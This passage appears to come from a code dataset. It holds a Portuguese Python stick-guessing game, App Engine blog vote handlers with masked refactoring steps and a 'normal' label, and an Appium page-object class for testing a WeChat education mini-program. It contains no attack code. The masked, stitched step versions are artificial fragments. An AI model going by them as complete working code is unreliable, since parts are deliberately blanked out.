= self.player_data[other_player][2] - average[0]\n for stick in sticks:\n stik -= stick\n sticks.append(stik)\n rand += average[1]\n hunch += stik\n average = self.average(self.play_order[self.play_order.index(player\n ):len(self.play_order) - 1])\n rand += average[1]\n hunch += average[0] + rand // 2\n if self.average(self.play_order)[0] > hunch:\n i = 0\n while hunch in hunches or hunch > self.max() or hunch < 0:\n i += 1\n if i % 2 == 0:\n hunch -= i\n else:\n hunch += i\n else:\n i = 0\n while hunch in hunches or hunch > self.max() or hunch < 0:\n i += 1\n if i % 2 == 0:\n hunch += i\n else:\n hunch -= i\n return hunch\n\n def average(self, remaining_players):\n result = 0\n for player in remaining_players:\n result += self.player_data[player][0]\n return [result // 2, result % 2]\n\n def max(self):\n total = 0\n for player in self.play_order:\n total += self.player_data[player][0]\n return total\n\n def reset(self):\n for player, data in self.player_data.items():\n data[1] = None\n data[2] = None\n\n def round_won(self):\n sum = self.sum()\n for player, data in self.player_data.items():\n if data[2] == sum:\n return player\n return None\n\n def won(self):\n for player, data in self.player_data.items():\n if data[0] == 0:\n return True\n return False\n\n def sum(self):\n sum = 0\n for player, data in self.player_data.items():\n sum += data[1]\n return sum\n\n\nif __name__ == '__main__':\n players = ['Rand A', 'Rand B', 'Rand C', 'IA 1', 'IA 2']\n wins = {}\n n = 1\n for player in players:\n wins[player] = 0\n for i in range(0, n):\n game = Game(players)\n winner = game.game_loop()\n if winner:\n wins[winner] += 1\n print('\\nRelatório:')\n for player, win_count in wins.items():\n print('{} ganhou {} vezes'.format(player, win_count))\n",
"step-4": "from random import randint\n\n\nclass Game(object):\n\n def __init__(self, players):\n if len(players) < 2:\n raise ValueError('Number of player must be at least 2')\n self.play_order = players\n self.player_data = {}\n for player in self.play_order:\n self.player_data[player] = [3, None, None, False]\n self.player_data['IA 1'][3] = True\n self.player_data['IA 2'][3] = True\n\n def game_loop(self):\n while not self.won():\n hunches = []\n for player, data in self.player_data.items():\n print('Jogador: {}'.format(player))\n if data[3]:\n data[1] = randint(0, data[0])\n else:\n data[1] = randint(0, data[0])\n print('Palitos na mão: {}\\n'.format(data[1]))\n for player in self.play_order:\n print('Jogador: {}'.format(player))\n if self.player_data[player][3]:\n hunch = self.hunch(player, hunches)\n self.player_data[player][2] = hunch\n else:\n hunch = randint(0, self.max())\n while hunch in hunches:\n hunch = randint(0, self.max())\n self.player_data[player][2] = hunch\n print('Palpite: {}\\n'.format(hunch))\n hunches.append(hunch)\n winner = self.round_won()\n print('Soma dos palitos: {}'.format(self.sum()))\n if winner:\n print('{} ganhou a rodada\\n'.format(winner))\n self.player_data[winner][0] -= 1\n self.play_order.remove(winner)\n self.play_order.insert(0, winner)\n else:\n print('Ninguém ganhou :(\\n')\n print('-' * 10 + ' nova rodada ' + '-' * 10)\n self.reset()\n for player, data in self.player_data.items():\n if data[0] == 0:\n print('{} ganhou o jogo'.format(player))\n return player\n\n def hunch(self, player, hunches):\n hunch = self.player_data[player][1]\n rand = 0\n sticks = []\n stik = 0\n for other_player in self.play_order[0:self.play_order.index(player)]:\n average = self.average(self.play_order[self.play_order.index(\n other_player):len(self.play_order) - 1])\n stik = self.player_data[other_player][2] - average[0]\n for stick in sticks:\n stik -= stick\n sticks.append(stik)\n rand += average[1]\n hunch += stik\n average = self.average(self.play_order[self.play_order.index(player\n ):len(self.play_order) - 1])\n rand += average[1]\n hunch += average[0] + rand // 2\n if self.average(self.play_order)[0] > hunch:\n i = 0\n while hunch in hunches or hunch > self.max() or hunch < 0:\n i += 1\n if i % 2 == 0:\n hunch -= i\n else:\n hunch += i\n else:\n i = 0\n while hunch in hunches or hunch > self.max() or hunch < 0:\n i += 1\n if i % 2 == 0:\n hunch += i\n else:\n hunch -= i\n return hunch\n\n def average(self, remaining_players):\n result = 0\n for player in remaining_players:\n result += self.player_data[player][0]\n return [result // 2, result % 2]\n\n def max(self):\n total = 0\n for player in self.play_order:\n total += self.player_data[player][0]\n return total\n\n def reset(self):\n for player, data in self.player_data.items():\n data[1] = None\n data[2] = None\n\n def round_won(self):\n sum = self.sum()\n for player, data in self.player_data.items():\n if data[2] == sum:\n return player\n return None\n\n def won(self):\n for player, data in self.player_data.items():\n if data[0] == 0:\n return True\n return False\n\n def sum(self):\n sum = 0\n for player, data in self.player_data.items():\n sum += data[1]\n return sum\n\n\nif __name__ == '__main__':\n players = ['Rand A', 'Rand B', 'Rand C', 'IA 1', 'IA 2']\n wins = {}\n n = 1\n for player in players:\n wins[player] = 0\n for i in range(0, n):\n game = Game(players)\n winner = game.game_loop()\n if winner:\n wins[winner] += 1\n print('\\nRelatório:')\n for player, win_count in wins.items():\n print('{} ganhou {} vezes'.format(player, win_count))\n",
"step-5": "from random import randint\n\n\nclass Game(object):\n def __init__(self, players):\n if len(players) < 2:\n raise ValueError('Number of player must be at least 2')\n\n self.play_order = players\n\n self.player_data = {}\n for player in self.play_order:\n # [total, on_hand, hunch]\n self.player_data[player] = [3, None, None, False]\n self.player_data['IA 1'][3] = True\n self.player_data['IA 2'][3] = True\n\n def game_loop(self):\n while not self.won():\n hunches = []\n\n for player, data in self.player_data.items():\n print(\"Jogador: {}\".format(player))\n if (data[3]):\n data[1] = randint(0, data[0])\n\n else:\n data[1] = randint(0, data[0])\n\n print(\"Palitos na mão: {}\\n\".format(data[1]))\n\n for player in self.play_order:\n print(\"Jogador: {}\".format(player))\n if (self.player_data[player][3]):\n hunch = self.hunch(player, hunches)\n self.player_data[player][2] = hunch\n\n else:\n # random hunch\n hunch = randint(0, self.max())\n while hunch in hunches:\n hunch = randint(0, self.max())\n self.player_data[player][2] = hunch\n\n # human hunch\n # hunch = int(input(\"Qual seu palpite?\\n\"))\n # while (hunch in hunches):\n # hunch = int(input(\"Palpite invalido. \\nQual seu palpite?\\n\"))\n # self.player_data[player][2] = hunch\n\n print(\"Palpite: {}\\n\".format(hunch))\n\n hunches.append(hunch)\n\n winner = self.round_won()\n\n print(\"Soma dos palitos: {}\".format(self.sum()))\n\n if winner:\n print(\"{} ganhou a rodada\\n\".format(winner))\n self.player_data[winner][0] -= 1\n self.play_order.remove(winner)\n self.play_order.insert(0, winner)\n else:\n print(\"Ninguém ganhou :(\\n\")\n\n print((\"-\" * 10) + \" nova rodada \" + (\"-\" * 10))\n\n self.reset()\n\n for player, data in self.player_data.items():\n if data[0] == 0:\n print(\"{} ganhou o jogo\".format(player))\n return player\n\n def hunch(self, player, hunches):\n # seu palpite inicial eh pelo menos a sua quantidade de palitos\n hunch = self.player_data[player][1]\n rand = 0\n sticks = []\n stik = 0\n # calcula os palitos dos jogadores anteriores atraves dos palpites destes\n for other_player in self.play_order[0:self.play_order.index(player)]:\n # media dos proximos jogadores\n average = self.average(self.play_order[self.play_order.index(other_player):len(self.play_order) - 1])\n\n # calcula os palitos estimados do jogador\n stik = self.player_data[other_player][2] - average[0]\n\n # remove os palitos anteriores que ja estao considerados\n for stick in sticks:\n stik -= stick\n sticks.append(stik)\n\n # erros de arredondamento, adiciona a randomicidade esperada\n rand += average[1]\n hunch += stik\n\n # chama average com os jogadores remanescente\n average = self.average(self.play_order[self.play_order.index(player):len(self.play_order) - 1])\n\n # caso o numero seja quebrado (0.5) adiciona-se 1 a randomicidade\n rand += average[1]\n\n # valor estimado, com metade da randomicidade\n hunch += average[0] + rand // 2\n\n # caso o chute ja tenha sido usado, chutar o mais proximo possivel\n # começando pelo lado mais proximo da media\n if (self.average(self.play_order)[0] > hunch):\n i = 0\n while (hunch in hunches) or (hunch > self.max()) or (hunch < 0):\n i += 1\n if i % 2 == 0:\n hunch -= i\n else:\n hunch += i\n\n else:\n i = 0\n while (hunch in hunches) or (hunch > self.max()) or (hunch < 0):\n i += 1\n if i % 2 == 0:\n hunch += i\n else:\n hunch -= i\n # retorna seu chute\n return hunch\n\n def average(self, remaining_players):\n result = 0\n for player in remaining_players:\n result += self.player_data[player][0]\n\n # entrega a media do resultado, e se houve sobra entrega 1 no segundo argumento\n return [result // 2, result % 2]\n\n def max(self):\n total = 0\n for player in self.play_order:\n total += self.player_data[player][0]\n return total\n\n def reset(self):\n for player, data in self.player_data.items():\n data[1] = None\n data[2] = None\n\n def round_won(self):\n sum = self.sum()\n\n for player, data in self.player_data.items():\n if data[2] == sum:\n return player\n return None\n\n def won(self):\n for player, data in self.player_data.items():\n if data[0] == 0:\n return True\n return False\n\n def sum(self):\n sum = 0\n\n for player, data in self.player_data.items():\n sum += data[1]\n\n return sum\n\n\nif __name__ == '__main__':\n players = ['Rand A', 'Rand B', 'Rand C', 'IA 1', 'IA 2']\n wins = {}\n\n n = 1\n\n for player in players:\n wins[player] = 0\n\n for i in range(0, n):\n game = Game(players)\n winner = game.game_loop()\n if winner:\n wins[winner] += 1\n\n print(\"\\nRelatório:\")\n for player, win_count in wins.items():\n print(\"{} ganhou {} vezes\".format(player, win_count))\n",
"step-ids": [
7,
10,
11,
12,
13
]
}
|
[
7,
10,
11,
12,
13
] |
# [BEGIN IMPORTS]
from mainhandler import MainHandler
from sec.data import *
# [END IMPORTS]
class UpVoteHandler (MainHandler):
def get(self):
user = self.get_user()
if user:
post_id = self.request.get('post_id')
post = PostData.get_by_id(int(post_id))
voter_list = post.voter_list
if post.author == user:
error = "cant vote for self"
self.render('mainpage.html', error=error)
elif user in voter_list:
error = "cant vote twice"
self.render('mainpage.html', error=error)
else:
post.upscore += 1
voter_list.append(user)
post.put()
self.redirect('/blog/' + post_id)
else:
self.redirect('/')
class DownVoteHandler (MainHandler):
def get(self):
user = self.get_user()
if user:
post_id = self.request.get('post_id')
post = PostData.get_by_id(int(post_id))
voter_list = post.voter_list
if post.author == user:
error = "cant vote for self"
self.render('mainpage.html', error=error)
elif user in voter_list:
error = "cant vote twice"
self.render('mainpage.html', error=error)
else:
post.downscore += 1
voter_list.append(user)
post.put()
self.redirect('/blog/' + post_id)
else:
self.redirect('/')
|
normal
|
{
"blob_id": "5711613df0bda10512466f147febcffacfe1607b",
"index": 7794,
"step-1": "<mask token>\n\n\nclass DownVoteHandler(MainHandler):\n\n def get(self):\n user = self.get_user()\n if user:\n post_id = self.request.get('post_id')\n post = PostData.get_by_id(int(post_id))\n voter_list = post.voter_list\n if post.author == user:\n error = 'cant vote for self'\n self.render('mainpage.html', error=error)\n elif user in voter_list:\n error = 'cant vote twice'\n self.render('mainpage.html', error=error)\n else:\n post.downscore += 1\n voter_list.append(user)\n post.put()\n self.redirect('/blog/' + post_id)\n else:\n self.redirect('/')\n",
"step-2": "<mask token>\n\n\nclass UpVoteHandler(MainHandler):\n <mask token>\n\n\nclass DownVoteHandler(MainHandler):\n\n def get(self):\n user = self.get_user()\n if user:\n post_id = self.request.get('post_id')\n post = PostData.get_by_id(int(post_id))\n voter_list = post.voter_list\n if post.author == user:\n error = 'cant vote for self'\n self.render('mainpage.html', error=error)\n elif user in voter_list:\n error = 'cant vote twice'\n self.render('mainpage.html', error=error)\n else:\n post.downscore += 1\n voter_list.append(user)\n post.put()\n self.redirect('/blog/' + post_id)\n else:\n self.redirect('/')\n",
"step-3": "<mask token>\n\n\nclass UpVoteHandler(MainHandler):\n\n def get(self):\n user = self.get_user()\n if user:\n post_id = self.request.get('post_id')\n post = PostData.get_by_id(int(post_id))\n voter_list = post.voter_list\n if post.author == user:\n error = 'cant vote for self'\n self.render('mainpage.html', error=error)\n elif user in voter_list:\n error = 'cant vote twice'\n self.render('mainpage.html', error=error)\n else:\n post.upscore += 1\n voter_list.append(user)\n post.put()\n self.redirect('/blog/' + post_id)\n else:\n self.redirect('/')\n\n\nclass DownVoteHandler(MainHandler):\n\n def get(self):\n user = self.get_user()\n if user:\n post_id = self.request.get('post_id')\n post = PostData.get_by_id(int(post_id))\n voter_list = post.voter_list\n if post.author == user:\n error = 'cant vote for self'\n self.render('mainpage.html', error=error)\n elif user in voter_list:\n error = 'cant vote twice'\n self.render('mainpage.html', error=error)\n else:\n post.downscore += 1\n voter_list.append(user)\n post.put()\n self.redirect('/blog/' + post_id)\n else:\n self.redirect('/')\n",
"step-4": "from mainhandler import MainHandler\nfrom sec.data import *\n\n\nclass UpVoteHandler(MainHandler):\n\n def get(self):\n user = self.get_user()\n if user:\n post_id = self.request.get('post_id')\n post = PostData.get_by_id(int(post_id))\n voter_list = post.voter_list\n if post.author == user:\n error = 'cant vote for self'\n self.render('mainpage.html', error=error)\n elif user in voter_list:\n error = 'cant vote twice'\n self.render('mainpage.html', error=error)\n else:\n post.upscore += 1\n voter_list.append(user)\n post.put()\n self.redirect('/blog/' + post_id)\n else:\n self.redirect('/')\n\n\nclass DownVoteHandler(MainHandler):\n\n def get(self):\n user = self.get_user()\n if user:\n post_id = self.request.get('post_id')\n post = PostData.get_by_id(int(post_id))\n voter_list = post.voter_list\n if post.author == user:\n error = 'cant vote for self'\n self.render('mainpage.html', error=error)\n elif user in voter_list:\n error = 'cant vote twice'\n self.render('mainpage.html', error=error)\n else:\n post.downscore += 1\n voter_list.append(user)\n post.put()\n self.redirect('/blog/' + post_id)\n else:\n self.redirect('/')\n",
"step-5": "# [BEGIN IMPORTS]\nfrom mainhandler import MainHandler\nfrom sec.data import *\n# [END IMPORTS]\n\n\nclass UpVoteHandler (MainHandler):\n\n def get(self):\n user = self.get_user()\n if user:\n post_id = self.request.get('post_id')\n post = PostData.get_by_id(int(post_id))\n\n voter_list = post.voter_list\n\n if post.author == user:\n error = \"cant vote for self\"\n self.render('mainpage.html', error=error)\n elif user in voter_list:\n error = \"cant vote twice\"\n self.render('mainpage.html', error=error)\n else:\n post.upscore += 1\n voter_list.append(user)\n post.put()\n self.redirect('/blog/' + post_id)\n else:\n self.redirect('/')\n\n\nclass DownVoteHandler (MainHandler):\n\n def get(self):\n user = self.get_user()\n if user:\n post_id = self.request.get('post_id')\n post = PostData.get_by_id(int(post_id))\n\n voter_list = post.voter_list\n\n if post.author == user:\n error = \"cant vote for self\"\n self.render('mainpage.html', error=error)\n elif user in voter_list:\n error = \"cant vote twice\"\n self.render('mainpage.html', error=error)\n else:\n post.downscore += 1\n voter_list.append(user)\n post.put()\n self.redirect('/blog/' + post_id)\n else:\n self.redirect('/')\n",
"step-ids": [
2,
3,
4,
5,
6
]
}
|
[
2,
3,
4,
5,
6
] |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2019/4/14 14:31
# @Author : lixiaofeng
# @File : page_zaojiao.py
# @Software: PyCharm
# @desc :
from common.basics import Crazy
class Zaojiaopage(Crazy):
"""早教小程序"""
zao_btn_loc = ('xpath', '//*[@resource-id="com.tencent.mm:id/cx" and @text="包妈优选"]')
# zao_btn_loc = ('xpath', '//*[@resource-id="com.tencent.mm:id/cx" and @text="小小包早教"]')
def click_zao(self):
self.click(self.zao_btn_loc)
def element_zao(self):
return self.find_element(self.zao_btn_loc)
find_loc = ('xpath', '//*[@resource-id="com.tencent.mm:id/d7b" and @text="发现"]') # 发现按钮
def click_find(self):
self.click(self.find_loc)
title_btn_loc = ('xpath', '//*[@resource-id="android:id/title" and @text="小程序"]') # 发现页小程序按钮
def click_title_btn(self):
self.click(self.title_btn_loc)
helper_loc = ('xpath', '//*[@resource-id="com.tencent.mm:id/c5" and @text="小程序助手"]') # 小程序助手
def element_helper(self):
return self.find_element(self.helper_loc)
def click_helper(self):
self.click(self.helper_loc)
small_help_btn_loc = ('xpath', '//*[@resource-id="com.tencent.mm:id/cx" and @text="小程序助手"]') # 小程序助手
def click_small_help_btn(self):
self.click(self.small_help_btn_loc)
small_name_loc = ('xpath', '//*[contains(@text, "包妈优选")]') # 包妈优选
def element_small_name(self):
return self.find_element(self.small_name_loc)
def click_small_name(self):
self.click(self.small_name_loc)
switching_applet_btn_loc = ('xpath', '//*[contains(@text, "切换小程序")]') # 切换小程序
def click_switching_applet_btn(self):
self.click(self.switching_applet_btn_loc)
delete_small_btn_loc = ('xpath', '//*[contains(@text, "删除")]') # 删除小程序按钮
def click_delete_small_btn(self):
self.click(self.delete_small_btn_loc)
edition_btn_loc = ('xpath', '//*[contains(@text, "百宝福利Buy")]')
def element_edition_btn(self):
return self.find_element(self.edition_btn_loc)
delete_small1_btn_loc = ('xpath', '//*[contains(@text, "拖动到此处删除")]')
def element_delete_small1_btn(self):
return self.find_element(self.delete_small1_btn_loc)
version_btn_loc = ('xpath', '//*[contains(@text, "版本查看")]') # 版本查看按钮
def click_version_btn(self):
self.click(self.version_btn_loc)
experience_version_btn_loc = ('xpath', '//*[contains(@text, "6.0.09")]') # 体验版
def clicks_experience_version_btn(self):
self.clicks(self.experience_version_btn_loc, -1)
audition_class_btn_loc = ('xpath', '//*[contains(@text, "0元领取10节试听课")]') # 领取试听课
def element_audition_class_btn(self):
return self.find_element(self.audition_class_btn_loc)
def click_audition_class_btn(self):
self.click(self.audition_class_btn_loc)
wechat_grant_btn_loc = (('xpath', '//*[contains(@text, "微信授权") and @class="android.widget.Button" ]')) # 微信授权
def click_wechat_grant_btn(self):
self.click(self.wechat_grant_btn_loc)
def double_click_wechat_grant(self):
self.double_click(self.wechat_grant_btn_loc)
def element_wechat_grant_btn(self):
return self.find_element(self.wechat_grant_btn_loc)
allow_btn_loc = ('xpath', '//*[@resource-id="com.tencent.mm:id/st" and @text="允许"]') # 完成按钮
def click_allow_btn(self):
self.click(self.allow_btn_loc)
month_btn_loc = ('xpath', '//*[contains(@text, "2018")]') # 选择月份
def click_mouth_btn(self):
self.click(self.month_btn_loc)
sure_btn_loc = ('xpath', '//*[contains(@text, "确定")]') # 确定按钮
def click_sure_btn(self):
self.click(self.sure_btn_loc)
class_info_loc = ('xpath', '//*[contains(@text, "课程介绍")]') # 课程介绍
# class_info_loc = ('xpath', '//android.widget.FrameLayout/android.view.ViewGroup[0]') # 课程介绍
def class_info_btn(self):
self.click(self.class_info_loc)
attend_lectures_btn_loc = ('xpath', '//*[contains(@text, "立即听课")]') # 立即听课
def element_attend_lectures_btn(self):
return self.find_element(self.attend_lectures_btn_loc)
def click_attend_lectures_btn(self):
self.click(self.attend_lectures_btn_loc)
class_btn_loc = ('xpath', '//*[contains(@text, "预备课 预备课")]') # 预备课 预备课
def element_class_btn(self):
return self.find_element(self.class_btn_loc)
get_to_know_btn_loc = ('xpath', '//*[contains(@text, "立即了解正式课 ")]') # 立即了解正式课
def click_get_to_know_btn(self):
self.click(self.get_to_know_btn_loc)
def element_get_to_know_btn(self):
return self.find_element(self.get_to_know_btn_loc)
sure_buy_btn_loc = ('xpath', '//*[contains(@text, "立即购买")]') # 立即购买
def click_sure_buy_btn(self):
self.click(self.sure_buy_btn_loc)
buy_password_loc = ('id', 'com.tencent.mm:id/cfs') # 输入支付密码
def input_buy_password(self, paw):
self.send_keys(self.buy_password_loc, paw)
check_buy_money_loc = ('id', 'com.tencent.mm:id/dlh') # 获取支付金额
def text_buy_money(self):
return self.get_text(self.check_buy_money_loc)
success_btn_loc = ('xpath', '//*[@resource-id="com.tencent.mm:id/f8o" and @text="完成"]') # 完成按钮
def click_success_btn(self):
self.click(self.success_btn_loc)
check_address_btn_loc = ('xpath', '//*[contains(@text, "收货地址：请选择地址")]') # 选择收货地址
def click_check_address_btn(self):
self.click(self.check_address_btn_loc)
def element_check_address_btn(self):
return self.find_element(self.check_address_btn_loc)
add_address_btn_loc = ('xpath', '//*[contains(@text, "添加地址")]') # 添加地址
def click_add_address_btn(self):
self.click(self.add_address_btn_loc)
name_loc = ('xpath', '//*[contains(@text, "请输入你的姓名")]') # 请输入你的姓名
def input_name_btn(self, name):
self.send_keys(self.name_loc, name)
phone_btn_loc = ('xpath', '//*[contains(@text, "请填写收件人电话")]') # 请填写收件人电话
def input_phone_btn(self, phone):
self.send_keys(self.phone_btn_loc, phone)
region_btn_loc = ('xpath', '//*[contains(@text, "请输入你所在地区")]') # 请输入你所在地区
def click_region_btn(self):
self.click(self.region_btn_loc)
detailed_address_btn_loc = ('xpath', '//*[contains(@text, "请输入你的详细地址")]') # 请输入你的详细地址
def input_detailed_address_btn(self, address):
self.send_keys(self.detailed_address_btn_loc, address)
save_btn_loc = ('xpath', '//*[contains(@text, "保存")]') # 保存
def click_save_btn(self):
self.click(self.save_btn_loc)
receive_btn_loc = ('xpath', '//*[contains(@text, "立即领取")]') # 立即领取
def click_receive_btn(self):
self.click(self.receive_btn_loc)
addressee_loc = ('xpath', '//*[contains(@text, "收件人：")]') # 地址列表是否有地址信息
def elements_addressee(self):
return self.find_elements(self.addressee_loc)
def clicks_addressee(self):
self.clicks(self.addressee_loc, 0)
know_btn_loc = ('xpath', '//*[contains(@text, "知道了")]') # 地址列表是否有地址信息
def element_know(self):
return self.find_element(self.know_btn_loc)
def click_know(self):
self.click(self.know_btn_loc)
all_curriculum_btn_loc = ('xpath', '//*[contains(@text, "查看全部课程")]') # 查看全部课程
def element_all_curriculum_btn(self):
return self.find_element(self.all_curriculum_btn_loc)
def click_all_curriculum_btn(self):
self.click(self.all_curriculum_btn_loc)
curriculum_date_btn_loc = ('xpath', '//*[contains(@text, "2019-0")]') # 历史推送
def element_curriculum_date_btn(self):
return self.find_element(self.curriculum_date_btn_loc)
my_btn_loc = ('xpath', '//*[@resource-id="com.tencent.mm:id/ct" and @text="我的"]') # 我的
def element_my_btn(self):
return self.find_element(self.my_btn_loc)
def click_my(self):
self.click(self.my_btn_loc)
my_baby_btn_loc = ('xpath', '//*[contains(@text, "我的宝宝")]') # 我的宝宝
def click_my_baby(self):
self.click(self.my_baby_btn_loc)
my_baby_title_loc = ('id', 'com.tencent.mm:id/ox')
def text_my_baby_title(self):
return self.get_text(self.my_baby_title_loc)
def elements_title(self):
return self.find_elements(self.my_baby_title_loc)
new_baby_btn_loc = ('xpath', '//*[contains(@text, "新建宝宝")]') # 新建宝宝
def element_new_baby_btn(self):
return self.find_element(self.new_baby_btn_loc)
def click_new_baby_btn(self):
self.click(self.new_baby_btn_loc)
def clicks_new_baby_btn(self, n):
self.clicks(self.new_baby_btn_loc, n)
get_set_loc = ('xpath', '//*[contains(@text, "预备课 预备课")]') # 新建宝宝
def element_get_set(self):
return self.find_element(self.get_set_loc)
next_btn_loc = ('xpath', '//*[contains(@text, "下一步")]') # 我的宝宝
def click_next(self):
self.click(self.next_btn_loc)
baby_name_loc = ('xpath', '//*[contains(@text, "请输入宝宝姓名")]') # 请输入宝宝姓名
def inputs_baby_name(self, name, n):
self.sends_keys(self.baby_name_loc, name, n)
baby_bir_btn_loc = ('xpath', '//*[contains(@text, "宝宝的生日:")]') # 宝宝的生日
def click_baby_bir_btn(self):
self.click(self.baby_bir_btn_loc)
finish_btn_loc = ('xpath', '//*[contains(@text, "完成")]') # 完成按钮
def click_finish_btn(self):
self.click(self.finish_btn_loc)
def clicks_finish_btn(self, n):
self.clicks(self.finish_btn_loc, n)
my_home_loc = ('xpath', '//*[@resource-id="com.tencent.mm:id/ct" and @text="首页"]') # 首页
def click_my_home(self):
self.click(self.my_home_loc)
def element_my_home(self):
return self.find_element(self.my_home_loc)
switch_btn_loc = ('xpath', '//*[contains(@text, "切换")]') # 切换
def click_switch_btn(self):
self.click(self.switch_btn_loc)
baby_bri_loc = ('xpath', '//*[contains(@text, "宝宝生日：")]') # 宝宝生日：
def click_baby_bri(self):
self.click(self.baby_bri_loc)
class_img_btn_loc = ('xpath', 'android.widget.Image')
def clicks_class_img(self):
self.clicks(self.class_img_btn_loc, 0)
collection_btn_loc = ('xpath', '//*[contains(@text, "收藏")]') # 收藏
def click_collection_btn(self):
self.click(self.collection_btn_loc)
def clicks_collection_btn(self, n):
self.clicks(self.collection_btn_loc, n)
def element_collection_btn(self):
return self.find_element(self.collection_btn_loc)
write_record_btn_loc = ('xpath', '//*[contains(@text, "写记录") and @class="android.widget.Button" ]') # 写记录按钮
def click_write_record_btn(self):
self.click(self.write_record_btn_loc)
def clicks_write_record_btn(self, n):
self.clicks(self.write_record_btn_loc, n)
album_btn_loc = ('xpath', '//*[contains(@text, "相册")]') # 相册
def click_album_btn(self):
self.click(self.album_btn_loc)
def element_album_btn(self):
return self.find_element(self.album_btn_loc)
small_video_btn_loc = ('xpath', '//*[contains(@text, "小视频")]') # 小视频
def click_small_video_btn(self):
self.click(self.small_video_btn_loc)
def element_small_video_btn(self):
return self.find_element(self.small_video_btn_loc)
release_btn_loc = ('xpath', '//*[contains(@text, "发布")]') # 发布
def click_release_btn(self):
self.click(self.release_btn_loc)
def clicks_release_btn(self, n):
self.clicks(self.release_btn_loc, n)
def element_record_info(self, data): # 判断是否定位到包含text的元素
record_info_loc = ('xpath', '//*[contains(@text, "{}")]'.format(data))
record_info = self.find_element(record_info_loc)
if record_info:
return True
else:
return False
class_name_loc = ('xpath', '//*[contains(@text, "歌曲")]') # 课程名称
# class_name_loc = ('xpath', '//*[contains(@text, "歌曲：Head and shoulders")]') # 课程名称
def click_class_name(self):
self.click(self.class_name_loc)
def clicks_class_name(self, n):
self.clicks(self.class_name_loc, n)
def elements_class_name(self):
return self.find_elements(self.class_name_loc)
class_name2_loc = ('xpath', '//*[contains(@text, "一起走")]') # 课程名称
# class_name2_loc = ('xpath', '//*[contains(@text, "弹出来的画")]') # 课程名称
def click_class2_name(self):
self.click(self.class_name2_loc)
def clicks_class2_name(self, n):
self.clicks(self.class_name2_loc, n)
write_text_loc = ('xpath', '//*[contains(@text, "0/1000")]') # 写记录
def input_write_text(self, text):
self.send_keys(self.write_text_loc, text)
def inputs_write_text(self, text, n):
self.sends_keys(self.write_text_loc, text, n)
choice_album_loc = ('id', 'com.tencent.mm:id/bpy')
def clicks_choice_album(self, n):
self.clicks(self.choice_album_loc, n)
def elements_choice_album(self):
return self.find_elements(self.choice_album_loc)
complete_btn_loc = ('id', 'com.tencent.mm:id/ki') # 完成
def click_complete_btn(self):
self.click(self.complete_btn_loc)
my_collection_btn_loc = ('xpath', '//*[contains(@text, "我的收藏")]') # 我的收藏
def click_my_collection_btn(self):
self.click(self.my_collection_btn_loc)
my_collection_english_course_btn_loc = ('xpath', '//*[contains(@text, "早教")]') # 早教英语课
def elements_my_collection_english_course_btn(self):
return self.find_elements(self.my_collection_english_course_btn_loc)
my_collection_game_course_btn_loc = ('xpath', '//*[contains(@text, "宝宝游戏馆")]') # 宝宝游戏馆
def elements_my_collection_game_course_btn(self):
return self.find_elements(self.my_collection_game_course_btn_loc)
my_course_btn_loc = ('xpath', '//*[contains(@text, "我的课程")]') # 我的课程
def click_my_course_btn(self):
self.click(self.my_course_btn_loc)
my_course_buy_btn_loc = ('xpath', '//*[contains(@text, "早教核心课年卡")]') # 早教核心课年卡
def elements_my_course_buy_btn(self):
return self.find_elements(self.my_course_buy_btn_loc)
my_order_btn_loc = ('xpath', '//*[contains(@text, "我的订单")]') # 我的订单
def click_my_order_btn(self):
self.click(self.my_order_btn_loc)
my_order_card_btn_loc = ('xpath', '//*[contains(@text, "订单编号：")]') # 订单编号：
def elements_my_order_card_btn(self):
return self.find_elements(self.my_order_card_btn_loc)
my_record_btn_loc = ('xpath', '//*[contains(@text, "成长记录")]') # 成长记录
def click_my_record_btn(self):
self.click(self.my_record_btn_loc)
my_record_class_btn_loc = ('xpath', '//*[contains(@text, "#")]') # # 测试英语课程组
def elements_my_record_class_btn(self):
return self.find_elements(self.my_record_class_btn_loc)
back_btn_loc = (
'xpath', '//*[@resource-id="com.tencent.mm:id/on" and @class="android.widget.LinearLayout"]') # 返回按钮
def element_back_btn(self):
return self.find_element(self.back_btn_loc)
def click_back_btn(self):
self.click(self.back_btn_loc)
reply_5_loc = ('xpath', '//android.widget.Image') # 回复5
def click_reply_5(self):
self.click(self.reply_5_loc)
def elements_reply_5(self):
return self.find_elements(self.reply_5_loc)
add_to_btn_loc = ('xpath', '//*[contains(@text, "立即添加")]') # 立即添加
def click_add_to_btn(self):
self.click(self.add_to_btn_loc)
reply_input_5_loc = ('id', 'com.tencent.mm:id/ami')
def input_reply_5(self, num):
self.send_keys(self.reply_input_5_loc, num)
send_5_loc = ('xpath', '//*[@resource-id="com.tencent.mm:id/amp" and @text="发送"]') # 发送
def click_send(self):
self.click(self.send_5_loc)
reply_code_loc = ('id', 'com.tencent.mm:id/ap9') # 获取回复的二维码
def elements_reply_code(self):
return self.find_elements(self.reply_code_loc)
def clicks_reply_code(self, n):
self.clicks(self.reply_code_loc, n)
long_code_loc = ('id', 'com.tencent.mm:id/adi') # 长按二维码
def element_long_code(self):
return self.find_element(self.long_code_loc)
def click_long_code(self):
self.click(self.long_code_loc)
discern_code_loc = ('xpath', '//*[@resource-id="com.tencent.mm:id/cx" and @text="识别图中二维码"]') # 识别图中二维码
def click_discern_code(self):
self.click(self.discern_code_loc)
class_group_loc = ('id', 'android:id/text1') # 群名称
def text_class_group(self):
return self.get_text(self.class_group_loc)
add_group_chat_loc = ('xpath', '//*[contains(@text, "加入该群聊")]') # 加入该群聊
def element_add_group_chat(self):
return self.find_element(self.add_group_chat_loc)
reply_8_loc = ('xpath', '//android.widget.Image') # 回复8的banner 回复8->进公众号->点击推送 看到的二维码
def elements_reply_8(self):
return self.find_elements(self.reply_8_loc)
parent_btn_loc = ('xpath', '//*[contains(@text, "亲爱的家长：")]') # 亲爱的家长：
def element_parent_btn(self):
return self.find_element(self.parent_btn_loc)
info_btn_loc = ('id', 'com.tencent.mm:id/a8q') # 详情
def elements_info_btn(self):
return self.find_elements(self.info_btn_loc)
def clicks_info_btn(self, n):
self.clicks(self.info_btn_loc, n)
more_games_btn_loc = ('xpath', '//*[contains(@text, "更多亲子游戏")]') # 更多亲子游戏
def click_more_games_btn(self):
self.click(self.more_games_btn_loc)
look_all_btn_loc = ('xpath', '//*[contains(@text, "查看全部")]') # 查看全部
def click_look_all_btn(self):
self.click(self.look_all_btn_loc)
def element_look_all_btn(self):
return self.find_elements(self.look_all_btn_loc)
